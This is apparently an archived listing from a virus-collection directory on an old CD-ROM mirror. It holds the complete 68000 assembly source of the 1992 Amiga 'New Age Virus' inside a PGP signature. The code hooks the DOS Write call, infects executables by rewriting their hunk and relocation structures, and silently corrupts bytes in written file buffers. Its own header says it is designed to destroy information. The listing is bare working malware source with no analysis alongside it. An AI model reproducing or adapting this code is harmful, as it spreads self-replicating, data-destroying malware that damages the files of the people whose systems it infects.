home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / Cjezus-virus / Debugger.lha / NewAge.s.asc < prev   
PGP Signed Message  |  1994-04-08  |  5KB  |  300 lines

  1. -----BEGIN PGP SIGNED MESSAGE-----
  2.  
  3.     *************************************************
  4.     *                        *
  5.     *    New Age Virus © 1992 By Evil Jesus    *
  6.     *                        *
  7.     *************************************************
  8.  
  9.     ; New Age - designed to destroy
  10.     ; Primary target  : Information
  11.     ; Secondary target: Mind
  12.  
  13.     BASEREG    MyBase,A4
  14.  
  15.     INCLUDE    exec/exec_lib.i
  16.     INCLUDE    exec/memory.i
  17.     INCLUDE    libraries/dos_lib.i
  18.     INCLUDE    libraries/dos.i
  19.  
  20. CALL    MACRO
  21.     jsr    \1(a4)
  22.     ENDM
  23.  
  24. LIB    MACRO
  25.     jsr    _lvo\1(a6)
  26.     ENDM
  27.  
  28. Agression    = 50
  29. Minfile        = 4096        ; minumum size of file to infect
  30. Maxfile        = 65536        ; maximum size of file to infect
  31.  
  32.     SECTION    NewAge,code
  33.  
  34. * StartUp (Virus starts executing itself or stops)
  35.  
  36. Start
  37.     movem.l    d0-d7/a0-a6,-(sp)
  38.     lea    MyBase(pc),a4
  39.     move.l    $4.w,a6
  40.     lea    Dos(a4),a1
  41.     LIB    OLDOPENLIBRARY
  42.     move.l    d0,a2
  43.     move.l    ID(a4),d0
  44.     cmp.w    #$4ef9,-48(a2)
  45.     bne.s    die
  46.     move.l    -48+2(a2),a0
  47.     cmp.l    ID-Write(a0),d0
  48.     beq.s    die
  49.     move.l    (a4),d0
  50.     moveq    #MEMF_PUBLIC,d1
  51.     LIB    ALLOCMEM
  52.     tst.l    d0
  53.     beq.s    die
  54.     move.l    a4,-(sp)
  55.     move.l    d0,a1
  56.     lea    Start(a4),a0
  57.     move.l    (a4),d1
  58.     subq.w    #1,d1
  59. .loop    move.b    (a0)+,(a1)+
  60.     dbf    d1,.loop
  61.     lea    -[Fullend-MyBase](a1),a4
  62.     jmp    new(a4)
  63. new    lea    Write(a4),a0
  64.     move.l    -48+2(a2),L01(a4)
  65.     move.l    a0,-48+2(a2)
  66.     move.l    (sp)+,a4
  67. die    move.l    a2,a1
  68.     LIB    CLOSELIBRARY
  69.     jmp    Realprog(a4)    ; real programcode starts
  70.  
  71. * Infector
  72.  
  73. Write
  74.     movem.l    d2-d7/a2-a6,-(sp)
  75.     lea    MyBase(pc),a4
  76.     cmp.l    #Minfile,d3
  77.     blo.s    nofile
  78.     CALL    Checkit
  79.     tst.l    d0
  80.     bne.s    nofile
  81.     CALL    Modify
  82.     tst.l    d4
  83.     bne.s    nofile
  84.     tst.l    d0
  85.     bmi.s    savesuck
  86.     addq.l    #1,Count(a4)
  87.     sub.l    (a4),d0
  88.     bra.s    savesuck
  89. nofile    lea    Suckit(a4),a3
  90.     subq.w    #1,(a3)        ; corrupt
  91.     bne.s    saved
  92.     move.l    d2,a2
  93.     move.l    d3,d4
  94.     lsr.l    #1,d4
  95.     not.b    0(a2,d4.l)
  96. saved    move.l    L01(a4),a0
  97.     jsr    (a0)
  98.     tst.w    (a3)
  99.     bne.s    savesuck
  100.     move.w    #Agression,(a3)
  101.     not.b    0(a2,d4.l)
  102. savesuck
  103.     movem.l    (sp)+,d2-d7/a2-a6
  104.     rts
  105.  
  106. * Global data & routines
  107.  
  108. Checkit    * Check filebuffer
  109.     ; D1 = handle
  110.     ; D2 = buffer
  111.     ; D3 = size
  112.     ; D0 = result / 0=ok
  113.     move.l    ID(a4),d0
  114.     btst    #0,d2
  115.     bne.s    fail
  116.     move.l    d2,a0
  117.     cmp.l    #$3f3,(a0)
  118.     bne.s    fail
  119.     cmp.l    #$3f2,-4(a0,d3.l)
  120.     bne.s    fail
  121.     tst.l    4(a0)
  122.     bne.s    fail
  123.     move.l    8(a0),d4
  124.     lsl.l    #2,d4
  125.     lea    30(a0,d4.l),a0        ; firstcode+2
  126.     cmp.l    [ID-Start]-2(a0),d0
  127.     beq.s    fail
  128.     cmp.w    #$4afc,(a0)
  129.     beq.s    fail
  130.     cmp.w    #$4e75,(a0)+
  131.     beq.b    fail
  132.     cmp.w    #$4afc,(a0)
  133.     beq.s    fail
  134.     cmp.l    #Maxfile,d3
  135.     bhi.s    fail
  136.     moveq    #0,d0
  137. fail    rts
  138.  
  139. Modify    * Modify file and save it
  140.     ; D1 = handle
  141.     ; D2 = buffer
  142.     ; D3 = size
  143.     ; D0 = result / savedsize
  144.     ; D4 = result / 0=ok
  145.     moveq    #-1,d4
  146.     moveq    #0,d7
  147.     move.l    d3,d0
  148.     add.l    (a4),d0
  149.     move.l    d0,a5
  150.     movem.l    d1/a6,-(sp)
  151.     moveq    #MEMF_PUBLIC,d1
  152.     move.l    $4.w,a6
  153.     LIB    ALLOCMEM
  154.     movem.l    (sp)+,d1/a6
  155.     tst.l    d0
  156.     beq.w    noalloc
  157.     move.l    d2,a2
  158.     move.l    d0,a3
  159.     move.l    d3,d5
  160.     move.l    a3,-(sp)
  161.     move.l    (a2)+,(a3)+
  162.     move.l    (a2)+,(a3)+
  163.     move.l    (a2)+,d6    ; hunks
  164.     move.l    d6,(a3)+
  165.     move.l    (a2)+,(a3)+
  166.     move.l    (a2)+,(a3)+
  167.     move.l    (a2)+,(a3)
  168.     move.l    (a4),d0
  169.     lsr.l    #2,d0
  170.     add.l    d0,(a3)+    ; hunksize
  171.     sub.l    #24,d5
  172.     bmi.w    fail2
  173.     subq.l    #2,d6
  174.     bmi.s    one
  175. .loop    move.l    (a2)+,(a3)+
  176.     subq.l    #4,d5
  177.     bmi.w    fail2
  178.     dbf    d6,.loop
  179. one    move.l    (a2)+,(a3)+
  180.     move.l    (a2)+,d6
  181.     add.l    d6,d0
  182.     move.l    d0,(a3)+
  183.     subq.l    #8,d5
  184.     bmi.w    fail2
  185.     lea    Start(a4),a0
  186.     move.l    (a4),d0
  187.     lsr.l    #2,d0
  188.     subq.w    #1,d0
  189. .loop    move.l    (a0)+,(a3)+
  190.     dbf    d0,.loop
  191.     bra.s    enter
  192. hunkmore
  193.     move.l    (a2)+,(a3)+    ; hunktype
  194.     subq.l    #4,d5
  195.     beq.w    modifyok
  196.     cmp.l    #$3f2,-4(a3)
  197.     bne.s    hunkmore2
  198.     moveq    #-1,d7
  199.     bra.s    hunkmore
  200. hunkmore2
  201.     cmp.l    #$3ec,-4(a3)
  202.     beq.s    hunkit
  203.     move.l    (a2)+,d6    ; hunksize/4
  204.     subq.l    #4,d5
  205.     move.l    d6,(a3)+
  206.     beq.s    hunkmore
  207. enter    and.l    #$3fffffff,d6
  208.     lsl.l    #2,d6
  209.     sub.l    d6,d5
  210.     bmi.w    fail2
  211.     lsr.l    #2,d6
  212.     move.l    a3,a1
  213. .loop    move.l    (a2)+,(a3)+
  214.     subq.l    #1,d6
  215.     bne.s    .loop
  216.     bra.s    hunkmore
  217. relmore    move.l    d6,(a3)+
  218.     move.l    (a2)+,(a3)+
  219.     lsl.l    #2,d6
  220.     sub.l    d6,d5
  221.     subq.l    #8,d5
  222.     bmi.s    fail2
  223.     lsr.l    #2,d6
  224.     tst.b    d7
  225.     beq.s    relocmodify1
  226.     tst.l    -4(a3)
  227.     beq.s    relocmodify3
  228. .loop    move.l    (a2)+,(a3)+
  229.     subq.l    #1,d6
  230.     bne.s    .loop
  231. hunkit    move.l    (a2)+,d6    ; offsetcount
  232.     bne.s    relmore
  233.     move.l    d6,(a3)+
  234.     subq.l    #4,d5
  235.     bra.s    hunkmore
  236. relocmodify1
  237.     tst.l    -4(a3)
  238.     beq.s    relocmodify2
  239.     move.l    (a4),d0
  240. .loop    move.l    (a2)+,(a3)
  241.     add.l    d0,(a3)+
  242.     subq.l    #1,d6
  243.     bne.s    .loop
  244.     bra.s    hunkit
  245. relocmodify2
  246.     move.l    (a4),d0
  247. .loop    move.l    (a2)+,d4
  248.     add.l    d0,d4
  249.     add.l    d0,0(a1,d4.l)
  250.     move.l    d4,(a3)+
  251.     subq.l    #1,d6
  252.     bne.s    .loop
  253.     moveq    #-1,d4
  254.     bra.s    hunkit
  255. relocmodify3
  256.     move.l    (a4),d0
  257. .loop    move.l    (a2)+,d4
  258.     add.l    d0,0(a1,d4.l)
  259.     move.l    d4,(a3)+
  260.     subq.l    #1,d6
  261.     bne.s    .loop
  262.     moveq    #-1,d4
  263.     bra.s    hunkit
  264. modifyok
  265.     cmp.l    #$3f2,-4(a3)
  266.     bne.s    fail2
  267.     moveq    #0,d4
  268.     move.l    (sp),d2
  269.     move.l    a5,d3
  270.     move.l    L01(a4),a0
  271.     jsr    (a0)        ; write
  272. fail2    move.l    (sp)+,a1
  273.     movem.l    d0-d1/a6,-(sp)
  274.     move.l    a5,d0
  275.     move.l    $4.w,a6
  276.     LIB    FREEMEM
  277.     movem.l    (sp)+,d0-d1/a6
  278. noalloc    rts
  279.  
  280. MyBase
  281. Size    dc.l    FullEnd-Start    ; MUST BE BASE + 0
  282. L01    dc.l    0
  283. Count    dc.l    0
  284. Suckit    dc.w    Agression
  285. ID    dc.b    'New Age Virus © 1992 By Evil Jesus'
  286. Dos    dc.b    'dos.library',0
  287.     EVEN
  288.     dc.w    0    ; (pad-word) fullend-start = 666 bytes
  289. Realprog
  290.     movem.l    (sp)+,d0-d7/a0-a6
  291. Fullend    rts    ; LONGWORD ALIGNED!!!
  292.  
  293. -----BEGIN PGP SIGNATURE-----
  294. Version: 2.3a.2
  295.  
  296. iQBFAgUBLaT14o3j8jX6L7S9AQHvvgF/Z7+pLAnAkeAubHpyy3oY1znziQdwuvfQ
  297. OF/26CCvUp2ycFDClTFltR5RCpTZeSev
  298. =oqLl
  299. -----END PGP SIGNATURE-----
  300.